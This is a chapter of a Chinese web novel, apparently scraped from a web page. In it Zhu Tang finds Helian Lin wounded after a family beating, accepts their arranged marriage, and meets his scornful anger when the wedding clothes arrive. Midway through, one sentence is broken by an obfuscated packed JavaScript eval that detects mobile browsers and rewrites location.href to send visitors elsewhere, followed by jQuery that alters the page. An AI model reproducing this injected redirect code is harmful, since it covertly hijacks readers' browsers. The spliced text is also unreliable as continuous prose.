15. “恭喜啊”
作品:《夫人我不要和离啊!》 要见到贺江临,祝棠倒是没花太多功夫。
这件事在贺姨娘接下来要忙的一连串事情中,只是很小的一个点。
即使祝棠自己不提,她也是要安排两个人见一面的。
贺江临的院子,比祝棠以前在祝府的小院要大很多。
走过很长的一条廊桥,经过一处石块圈起来的鱼塘,最后来到了贺江临的住所。
只是这里有些太过热闹了,不断有小厮和侍女进进出出,共同点是,每个人脸上的表情都不太好。
一个小厮端着木盆,急匆匆地要往外走去,正面迎着祝棠他们就走了过来,还没等距离走近,祝棠已经闻到了一股模糊的血腥味。
祝棠低头一瞥,那木盆里分明是混的血水,盆缘搭着的帕子上也沾着不少血迹,呈现出新鲜的血红色。
她心下一紧,拦住了小厮,急忙问道:“贺江临出什么事了?”
那小厮见她眼生,只当是来府上做客的小姐,虽然急着要去换水,还是停下来为祝棠解答了,愁眉苦脸道:
“还不是老爷动了家法,这冰天雪地的少爷又跪了足足一日,伤口没有及时处理,直接发起了高热,这会还躺在床上不省人事呢。”
祝棠有些慌张,急问道:“发烧怎么会有血?”
“谁知道呢,请来的郎中说少爷的伤口需得割开放血...”
祝棠没再继续听下去,绕开小厮,朝里跑去。
越靠近,空气里的血腥味越重,还伴随着一股淡淡的草药味。
之前在她面前总是神采飞扬、鲜衣怒马的贺江临,此刻正趴在床上,后背是密密麻麻交错的鞭伤,许是已经疼晕过去了,不停有冷汗从他的额角渗出,划过眉角,顺着下颌直直落入地板。
他眼睛紧闭着,唇色异常苍白,不似常人。
这会郎中坐在榻边,手上拿着一瓶金疮药,正小心翼翼地往伤口上洒。
不知为何,失去了继续看下去的勇气,没有等到贺江临睁开眼睛,祝棠就转身退了出去,却不巧撞到了石头,他手上拿着成卷的绷带,看到祝棠,很明显地愣了一下。
“祝小姐,你怎么来了?”
祝棠想说。
你家公子还好吗?
他变成这样是因为我吗?
但最后这些话都没能说出口,祝棠很勉强地扯起嘴角,非常艰辛的、如鲠在喉一般的、以非常缓慢的语速,告诉了石头这个不争的事实。
“石头,我与你家公子要成婚了。”
祝棠原本想,兴许这件事情,贺江临会有他的法子,事情还有转圜的余地。
但看着贺江临此刻在床上奄奄一息的样子,祝棠突然觉得,要不要履行这个婚约,好像真的没有那么重要。
贺江临和她一样。
一样的,没有掌控命运的权力。
他总说她太过于天真。
实际上他们两个,半斤八两。
自由,还是没有人命贵。
祝棠不觉得贺江临坚决抵抗这场婚事,会要以生命为尺码付出代价。
但如果,真的这么辛苦的话,就先妥协吧。
至少不要这样,失去意识,躺在床上,任人宰割。
石头显然不知道这件事,眼睛瞪的很大,一脸错愕,话都说不利索了:“什什——,什么!”
他挤眉弄眼,不自在到了极点:“祝姑娘你一定是开玩笑吧?”
“我家少爷不可能答应成婚的,他说了这辈子只会娶心爱的女子。”
可能是觉得这句话会冒犯到祝棠,石头说完立刻闭上了嘴,小心地观察祝棠的表情。
她脸上的表情不比石头好多少,像是做了最后的决定。
祝棠看着石头,声音很轻,嘱咐道:
“你家少爷知道,一定会非常、非常生气。”
“你劝劝他,让他先把身体养好。”
想了想,祝棠又补充道:“如果他以后遇到了心爱的女子,我会把这个位置还给她。”
——
回去之后,祝棠告诉了知桃自己要与贺江临成婚的事情,一反常态的,这次知桃没再缠着她问为什么。
只是一声不吭的,开始帮祝棠收拾起东西来。
破天荒的,这天晚上,知桃没回自己的房间睡觉,而是抱着自己的被子,沉默的、可怜巴巴地看着祝棠。
祝棠拗不过她,让她躺在了自己身侧。
烛火在床头噼里啪啦地燃着,只是光线昏暗,两个人都看不清彼此的脸。
窗外一片寂静,除了偶尔响起的鸟鸣声,连一点杂音都没有。
沉默许久,知桃先开了口。
“小姐,如果没有嫁妆,将来会被贺家人看不起吗?”
祝棠苦笑一声,听见自己的声音,很空荡:“我不知道。”
“贺公子是心甘情愿的吗?”
这句已经带上了哭腔。
祝棠抿了抿唇,承认道:
“不是。”
说什么心甘情愿,她只希望贺江临知道之后,不要将怒火全都灌在她的头上。
可如果他真的这样做,祝棠好像,也没有别的办法。
刚穿进来的时候,她想,不就是古代吗,困是困难了点,总是有路可走的。
“那我当小姐的陪嫁好不好,我陪小姐一起去贺家。”
祝棠很轻地叹了口气,转过身,不说拒绝,也不说接受:
“以后你若要嫁人,我定睁大眼睛替你好好物色。”
脸颊上痒痒的,祝棠伸手去摸,才发现原来是眼泪,自己都没反应过来,一颗颗泪珠从眼角滑落,坠在手上,凉凉的。
——
自从答应了贺姨娘之后,祝棠每日都浑浑噩噩的,一面是不敢相信,一面又不得不逼自己接受现实。
今日是贺府要差人送婚服上门的日子,祝棠很早就起来了,心头萦绕着一股说不清道不明的感觉,像有人提着一根线,吊着她。
大门没锁,贺府的小厮们象征性地敲敲门,随即将大门一推,涌进来了一拨人。
打头阵的几个嬷嬷首当其冲,拥了上来,说是要带新娘子试试婚服的尺寸,祝棠勉强地抬起唇角笑笑,让知桃先带嬷嬷们把衣裳首饰拿进去。
潘四在门前指挥着小厮们,把抬来的箱子都运到里屋去,别堆放在门口就不管了。
像做梦一样,小厮们来来回回在祝棠眼前移动着。
没有注意到,有一个人步伐缓慢,走了进来。
“公子,您小心一点。”
听到石头的声音,祝棠猛地回头,看见了贺江临。
贺江临的手搭在石头的肩上,估摸着是被冷风呛到,这会儿正低着头咳嗽,脸色苍白,剧烈的呛声后脸上浮起了病态的红色。
像是注意到这边的视线,贺江临抬起头,眉眼恹恹,撞进了祝棠的视线里。
这是祝棠第一次见到贺江临这样的眼神,异常平和,无波无澜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062025|162986||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
却让祝棠莫名感到山雨欲来的崩坏感。
祝棠硬着头皮走上前去,浑身僵硬,手都不知道该往哪摆了。
“你好点了吗?”
贺江临连余光都没分给祝棠,只是淡声道:“我挺好的。”
“恭喜啊。”
“终于让你如愿以偿了。”
贺江临的嗓音很低沉,钝钝的,一下一下砸得她耳边发蒙。
祝棠抬起头来看他,男人的嘴角嘲讽地勾起,湿黑乌亮的眼瞳深处隐约有冰冷的怒火。
她没反应过来:“什么?”
祝棠这几天一直在想,见到贺江临要和他说什么。
眼下看到他这样的态度,所有倾诉的欲望就这么卡在了喉间,尽数全都咽了下去。
“怎么,还在装傻?”
贺江临不耐烦的补充道:“终于如愿以偿能嫁给我了,不是很开心吗?”
祝棠反应过来,知道贺江临这会正在气头上。
她抿了抿唇,淡笑道:“你说得对。”
贺江临看到她这副不哭不笑拧巴的表情,半敛着眉眼,说的话不留一点余地:
“祝棠,从一开始你就在我面前装可怜,到现在还在装?”
祝棠一直都很能理解贺江临的怒火。
毕竟一开始她面对贺江临时的说辞,也说要嫁给她。
看起来确实是她,出尔反尔,将了贺江临一军。
祝棠眉头一动,声音很轻:“以后不会了。”
事情走到这个地步,已经没有补救的机会了。
现在全城都知道,他贺江临要娶祝棠为妻。
只是因着早年前两家长辈的戏言。
贺家赚得一个,不负商户女的好名声。
祝棠顺理成章实现了她最初的目标。
贺江临竟也一时之间,被打成责任心强的好男儿。
他的眼里闪过一丝荒唐,咬牙切齿道:
“你觉得我们会有以后吗?”
——
贺江临说完这句话,没在祝棠这里多待,像是连跟她共处在同一个空间,都难受至极。
他阴着脸,转身往外走出去,明明身上的伤才刚刚转好,还要迈这么大的步子。
“公子!”
“公子你慢点走!”
石头跑上前来,弯腰钻了过来,把贺江临的手往自己肩上抬。
贺江临想到方才祝棠的反应,觉得有些疑惑,隐约觉得有些不对劲,但不知道是怎么回事。
他非常讨厌这种模糊的感觉。
方才他放完最后一句狠话,祝棠的表情也没有丝毫变化。
像是早就预料到这个局面。
祝棠最后看向他的眼神非常平静,没有一点意外和挣扎,神情意外的冷静:
“我知道不会有。”
他听见祝棠这样说。
什么样的女子,知道即使与你成婚,会招你厌弃,知道与你没有任何未来,还要一厢情愿地嫁给你?
贺江临在心里这样想,却没注意自己已经直接说了出来。
“喜欢啊。”
“?”
石头眼神澄澈,一边撑着他的身体,一边努力偏过脑袋给他解答疑惑。
“祝姑娘不是最开始就说过,她心悦于公子你吗?”
贺江临的表情突然变得很古怪。
“她有这么喜欢我?”
“喜欢到不顾一切?”